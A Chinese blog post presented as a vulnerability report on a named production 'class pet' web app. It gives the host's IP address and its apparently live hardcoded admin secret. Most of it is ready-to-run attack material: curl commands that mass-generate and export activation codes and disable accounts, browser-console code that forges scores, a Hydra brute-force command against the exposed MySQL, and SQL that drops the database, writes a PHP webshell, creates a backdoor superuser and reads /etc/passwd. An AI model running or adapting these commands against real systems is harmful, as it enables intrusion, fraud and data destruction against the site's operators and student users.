班级宠物乐园系统漏洞报告

班级宠物乐园系统漏洞报告

测试对象: 生产环境 (http://43.138.215.11/pet/)
测试方法: 代码审计 + 渗透测试


执行摘要

本次安全评估发现该系统存在多个高危安全漏洞。攻击者可以利用这些漏洞完全控制整个系统,包括:

  • 未经授权访问所有用户数据
  • 无限量生成激活码进行非法销售
  • 禁用任意用户的账号
  • 篡改学生积分、等级等核心业务数据

总体风险评级: 高危


一、漏洞利用分析

1.1 管理员密钥硬编码

漏洞描述

系统在前端代码中硬编码了管理员后台的访问密钥,任何用户都可以通过查看网页源代码获取该密钥!!! ∑(゚Д゚ノ)ノ

漏洞代码位置

1
2
const Yx = "petclass_admin_2024";
const xn = {"X-Admin-Secret": Yx};

攻击步骤演示

步骤1:获取管理员密钥

1
2
const Yx = "petclass_admin_2024";
const xn = {"X-Admin-Secret": Yx};

步骤2:利用密钥调用管理接口

1
2
3
# 获取所有用户信息(包含用户名、账号类型、到期时间)
curl -X GET http://43.138.215.11:2016/api/admin/users \
-H "X-Admin-Secret: petclass_admin_2024"

步骤3:生成大量激活码

1
2
3
4
5
6
# 生成100个半年期激活码
curl -X POST http://43.138.215.11:2016/api/admin/generate-codes \
-H "X-Admin-Secret: petclass_admin_2024" \
-H "Content-Type: application/json" \
-d '{"count": 100, "codeType": "half_year"}'
}'

步骤4:导出所有未使用的激活码

1
2
3
4
# 下载所有可用激活码
curl -X GET "http://43.138.215.11:2016/api/admin/codes/export?unused_only=true" \
-H "X-Admin-Secret: petclass_admin_2024" \
-o stolen_codes.csv

步骤5:禁用特定用户账号

1
2
3
4
5
# 通过禁用用户使用的激活码,使其账号失效
curl -X POST http://43.138.215.11:2016/api/admin/codes/disable \
-H "X-Admin-Secret: petclass_admin_2024" \
-H "Content-Type: application/json" \
-d '{"code": "ABCD-1234-EFGH-5678"}'

攻击影响

  • 数据泄露: 所有注册用户的个人信息完全暴露
  • 经济损失: 攻击者可无限生成激活码进行非法销售
  • 服务中断: 可随意禁用任意用户账号
  • 系统被完全控制

1.2 AI API密钥泄露

漏洞描述

系统在前端硬编码了OpenAI API密钥,任何人都可以提取并使用该密钥。

漏洞代码

1
2
// 在代码中搜索 vi 变量,可以找到:
const vi = "sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; // 数据已脱敏

攻击步骤

步骤1:提取API密钥

1
2
// 在代码中搜索 vi 变量,可以找到:
const vi = "sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; // 数据已脱敏

步骤2:滥用API密钥

攻击影响

  • 经济损失: 攻击者可产生巨额API调用费用
  • 服务降级: API提供方可能因滥用封禁该密钥

1.3 前端业务逻辑篡改

漏洞描述

核心业务逻辑(积分计算、等级升级、宠物进化)完全在前端实现,攻击者可轻易篡改。

漏洞代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 积分添加函数 - 包含所有业务逻辑
addScore: (n, r) => {
// 计算新积分
const c = i.score + r.score;

// 计算宠物经验
let p = i.petExp + Math.abs(r.score);

// 判断是否升级
for(; h < Q && p >= (l[h] || 999);) {
p -= l[h];
h++;
}

// 计算奖励金币
const y = h > i.petLevel ? (h - i.petLevel) * 2 : 0;

// 返回更新后的数据
return { ...i, score: c, petExp: p, petLevel: h, coins: i.coins + y }
}

攻击步骤

步骤1:定位积分添加函数

1
2
// 在浏览器控制台找到Zustand store
const store = window.$REACT_STORE$;

步骤2:篡改业务逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 方法1:直接调用积分函数时传入伪造参数
store.getState().addScore(studentId, { name: "作弊", score: 999999 });

// 方法2:修改addScore函数本身
const originalAddScore = store.getState().addScore;
store.setState({
addScore: (id, item) => {
// 绕过所有检查,直接加10万分
return originalAddScore(id, { ...item, score: 100000 });
}
});

// 方法3:直接修改学生数据
const student = store.getState().students.find(s => s.id === targetId);
student.score = 999999;
student.petLevel = 10;
student.coins = 999999;
store.setState({ students: [...store.getState().students] });

步骤3:自动触发保存

1
2
// 修改后的数据会自动同步到服务器
// 因为store监听了变化并调用save接口

攻击影响

  • 数据完整性破坏: 学生积分、等级可随意篡改
  • 公平性丧失: 排行榜失去意义

1.4 API接口暴露

漏洞描述

所有后端API接口路径在前端完全暴露,攻击者可以全面探测接口漏洞。

API接口地图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 认证接口
POST /api/auth/login
POST /api/auth/register
POST /api/auth/change-password
POST /api/auth/renew
GET /api/auth/check

# 数据接口
GET /api/data/init
POST /api/data/students/save
PUT /api/data/settings
DELETE /api/data/student/{id}
DELETE /api/data/students/by-class/{id}

# 宠物接口
GET /api/pet-images
POST /api/pet-images/save

# 分享接口
POST /api/share/create
GET /api/share/{token}

# 管理接口(已泄露)
GET /api/admin/stats
GET /api/admin/codes
GET /api/admin/users
POST /api/admin/generate-codes
GET /api/admin/codes/export
POST /api/admin/codes/enable
POST /api/admin/codes/disable

1.5 端口扫描结果

端口 服务 状态 风险等级 说明
21 FTP 打开 高危 文件传输服务
22 SSH 打开 中危 远程管理服务
80 HTTP 打开 高危 Web服务(明文传输)
443 HTTPS 打开 低危 Web服务(加密传输)
3306 MySQL 打开 高危 数据库服务

端口 3306 - MySQL 数据库

风险分析

1
2
# MySQL 直接暴露在公网
mysql -h 43.138.215.11 -P 3306 -u root -p
攻击场景 1:弱口令爆破
1
2
3
4
5
6
7
8
9
# 使用 Hydra 爆破 MySQL
hydra -L users.txt -P passwords.txt mysql://43.138.215.11

# 常见弱口令测试
- root:root
- root:123456
- root:password
- admin:admin
- test:test
攻击场景 2:获取完整数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-- 一旦登录成功,攻击者可以:
-- 1. 查看所有数据库
SHOW DATABASES;

-- 2. 获取所有表
USE pet_class_db;
SHOW TABLES;

-- 3. 导出所有用户数据
SELECT * FROM users;

-- 4. 导出所有学生数据
SELECT * FROM students;

-- 5. 修改数据
UPDATE students SET score = 999999 WHERE id = 1;

-- 6. 删除数据
DROP DATABASE pet_class_db;

-- 7. 写入 Webshell
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
攻击场景 3:权限提升
1
2
3
4
5
6
7
8
9
10
-- 如果 MySQL 以 root 权限运行
SELECT * FROM mysql.user WHERE user = 'root';

-- 创建管理员账号
CREATE USER 'hacker'@'%' IDENTIFIED BY 'hacked';
GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;

-- 读取系统文件
LOAD DATA INFILE '/etc/passwd' INTO TABLE temp;

报告结论: 服务器配置存在严重安全缺陷,数据库直接暴露在公网,加上代码漏洞,系统整体安全评分 极低

报告撰写: ZXCLF

本报告仅用于安全研究和漏洞修复目的,请勿用于非法用途。

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2024-2026 ZXCLF
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信